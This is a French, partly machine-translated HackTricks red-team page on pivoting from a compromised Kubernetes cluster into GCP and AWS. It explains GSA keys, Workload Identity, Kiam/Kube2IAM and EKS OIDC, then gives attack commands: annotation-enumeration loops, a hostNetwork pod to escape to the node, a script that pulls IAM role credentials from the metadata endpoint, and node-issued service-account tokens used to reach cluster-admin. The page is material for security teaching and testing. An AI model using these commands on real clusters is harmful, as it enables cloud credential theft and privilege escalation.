Kubernetes Pivoting vers les Clouds

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

GCP

Si vous exécutez un cluster k8s dans GCP, vous souhaiterez probablement qu'une application s'exécutant dans le cluster ait un certain accÚs à GCP. Il existe 2 façons courantes de le faire :

Monter les clés GCP-SA en tant que secret

Une façon courante de donner accÚs à une application Kubernetes à GCP est de :

  • CrĂ©er un Service Account GCP
  • Lui attribuer les permissions souhaitĂ©es
  • TĂ©lĂ©charger une clĂ© json du SA créé
  • La monter en tant que secret Ă  l'intĂ©rieur du pod
  • DĂ©finir la variable d'environnement GOOGLE_APPLICATION_CREDENTIALS pointant vers le chemin oĂč se trouve le json.

warning

Par conséquent, en tant qu'attacker, si vous compromettez un conteneur à l'intérieur d'un pod, vous devriez vérifier cette variable d'environnement et les fichiers json contenant des identifiants GCP.

Relier le json GSA au secret KSA

Une façon de donner accÚs à un GSA à un cluster GKE est de les binder de cette maniÚre :

  • CrĂ©ez un compte de service Kubernetes dans le mĂȘme namespace que votre cluster GKE en utilisant la commande suivante :
bash
kubectl create serviceaccount <service-account-name>
  • Create a Kubernetes Secret qui contient les identifiants du service account GCP que vous souhaitez autoriser Ă  accĂ©der au cluster GKE. Vous pouvez le faire en utilisant l'outil en ligne de commande gcloud, comme montrĂ© dans l'exemple suivant :
bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Associez le Kubernetes Secret au compte de service Kubernetes en utilisant la commande suivante :
bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

Lors de la deuxiÚme étape, les credentials du GSA ont été définis comme secret du KSA. Donc, si vous pouvez lire ce secret depuis l'intérieur du cluster GKE, vous pouvez escalader vers ce compte de service GCP.

GKE Workload Identity

Avec Workload Identity, nous pouvons configurer a Kubernetes service account pour agir en tant que a Google service account. Les Pods exécutés avec le Kubernetes service account s'authentifieront automatiquement en tant que le Google service account lors de l'accÚs aux APIs Google Cloud.

La premiÚre série d'étapes pour activer ce comportement consiste à activer Workload Identity dans GCP (steps) et à créer le GCP SA que vous voulez que k8s se fasse passer pour.

  • Activer Workload Identity sur un nouveau cluster
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • CrĂ©er/Mettre Ă  jour un nouveau nodepool (les clusters Autopilot n'en ont pas besoin)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • CrĂ©er le GCP Service Account to impersonate depuis K8s avec des permissions GCP :
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Se connecter au cluster et crĂ©er le compte de service Ă  utiliser
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Lier la GSA Ă  la KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • ExĂ©cutez un pod avec la KSA et vĂ©rifiez l'access au GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Vérifiez la commande suivante pour vous authentifier en cas de besoin :

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

En tant qu'attaquant à l'intérieur de K8s vous devriez chercher des SAs avec l'iam.gke.io/gcp-service-account annotation car cela indique que le SA peut accéder à quelque chose dans GCP. Une autre option serait d'essayer d'abuser de chaque KSA dans le cluster et vérifier s'il a accÚs.
Depuis GCP il est toujours intéressant d'énumérer les bindings et savoir quels accÚs vous donnez aux SAs à l'intérieur de Kubernetes.

This is a script to easily iterate over the all the pods definitions looking for that annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Une façon (obsolÚte) de donner des IAM Roles aux Pods est d'utiliser un Kiam ou un Kube2IAM server. Fondamentalement, vous devrez exécuter un daemonset dans votre cluster avec une sorte de privileged IAM role. Ce daemonset sera celui qui donnera accÚs aux IAM roles aux pods qui en ont besoin.

Tout d'abord, vous devez configurer quels rĂŽles peuvent ĂȘtre accĂ©dĂ©s Ă  l'intĂ©rieur du namespace, et vous le faites avec une annotation dans l'objet namespace :

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Une fois le namespace configuré avec les IAM roles que les Pods peuvent avoir, vous pouvez indiquer le rÎle que vous voulez pour chaque pod definition avec quelque chose comme :

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

En tant qu'attaquant, si vous trouvez ces annotations dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours d'exécution (probablement dans kube-system) vous pouvez usurper chaque rÎle déjà utilisé par les pods et bien plus (si vous avez accÚs au compte AWS, énumérez les rÎles).

Créer un Pod avec un rÎle IAM

note

Le rĂŽle IAM Ă  indiquer doit ĂȘtre dans le mĂȘme compte AWS que le rĂŽle kiam/kube2iam et ce rĂŽle doit pouvoir y accĂ©der.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

RĂŽle IAM pour les Service Accounts K8s via OIDC

C'est la façon recommandée par AWS.

  1. Tout d'abord, vous devez créer un OIDC provider pour le cluster.
  2. Ensuite, créez un rÎle IAM avec les permissions dont le SA aura besoin.
  3. Créez une relation de confiance entre le rÎle IAM et le SA (ou entre le rÎle et les namespaces, donnant ainsi accÚs au rÎle à tous les SA du namespace). La relation de confiance vérifiera principalement le nom du provider OIDC, le nom du namespace et le nom du SA.
  4. Enfin, créez un SA avec une annotation indiquant l'ARN du rÎle, et les pods tournant avec ce SA auront accÚs au token du rÎle. Le token est écrit dans un fichier et le chemin est spécifié dans AWS_WEB_IDENTITY_TOKEN_FILE (par défaut : /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Pour récupérer aws en utilisant le token depuis /var/run/secrets/eks.amazonaws.com/serviceaccount/token exécutez :

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

En tant qu'attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les service accounts with that annotation pour escalate to AWS. Pour ce faire, il suffit d'exec/create un pod en utilisant l'un des IAM privileged service accounts et de voler le token.

De plus, si vous ĂȘtes Ă  l'intĂ©rieur d'un pod, vĂ©rifiez les variables d'env comme AWS_ROLE_ARN et AWS_WEB_IDENTITY_TOKEN.

caution

Parfois la Turst Policy of a role peut ĂȘtre bad configured et, au lieu de donner l'accĂšs AssumeRole au service account attendu, elle le donne Ă  all the service accounts. Par consĂ©quent, si vous ĂȘtes capable d'Ă©crire une annotation sur un service account contrĂŽlĂ©, vous pouvez accĂ©der au rĂŽle.

Consultez la following page for more information:

AWS - Federation Abuse

Trouver les Pods et les SAs avec IAM Roles dans le cluster

Ceci est un script pour itérer facilement sur tous les pods et définitions de SAs à la recherche de cette annotation :

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

La section prĂ©cĂ©dente expliquait comment voler des IAM Roles depuis des pods, mais notez qu'un Node du cluster K8s est en fait une instance dans le cloud. Cela signifie qu'il est trĂšs probable que le Node ait un IAM role que vous pouvez voler (note : gĂ©nĂ©ralement tous les nodes d'un cluster K8s ont le mĂȘme IAM role, donc cela peut ne pas valoir la peine de vĂ©rifier chaque node).

Pour accéder à l'endpoint de métadonnées du node, vous devez :

  • Être dans un pod et que l'endpoint de mĂ©tadonnĂ©es soit configurĂ© pour au moins 2 sauts TCP. C'est la mauvaise configuration la plus courante : en gĂ©nĂ©ral diffĂ©rents pods du cluster ont besoin d'accĂ©der Ă  l'endpoint de mĂ©tadonnĂ©es pour fonctionner, et plusieurs entreprises dĂ©cident simplement d'autoriser l'accĂšs Ă  cet endpoint depuis tous les pods du cluster.
  • Être dans un pod avec hostNetwork activĂ©.
  • S'Ă©chapper vers le node et accĂ©der directement Ă  l'endpoint de mĂ©tadonnĂ©es.

(Note : l'endpoint de métadonnées est à 169.254.169.254 comme toujours).

Pour s'échapper vers le node vous pouvez utiliser la commande suivante pour lancer un pod avec hostNetwork activé :

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Voler le token IAM Role

Nous avons prĂ©cĂ©demment vu comment attach IAM Roles to Pods ou mĂȘme comment escape to the Node to steal the IAM Role que l'instance lui a attachĂ©.

Vous pouvez utiliser le script suivant pour voler vos nouvelles IAM role credentials durement acquises :

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

En résumé : si l'on peut accéder au EKS Node IAM role depuis un pod, il est possible de compromettre le cluster kubernetes dans son intégralité.

Pour plus d'infos consultez this post. En rĂ©sumĂ©, le rĂŽle IAM EKS par dĂ©faut qui est assignĂ© aux nƓuds EKS est mappĂ© au rĂŽle system:node Ă  l'intĂ©rieur du cluster. Ce rĂŽle est trĂšs intĂ©ressant bien qu'il soit limitĂ© par les kubernetes Node Restrictions.

Cependant, le node peut toujours generate tokens for service accounts s'exécutant dans des pods à l'intérieur du node. Donc, si le node exécute un pod avec un privileged service account, le node peut générer un token pour ce service account et l'utiliser pour se faire passer pour ce service account comme dans :

bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks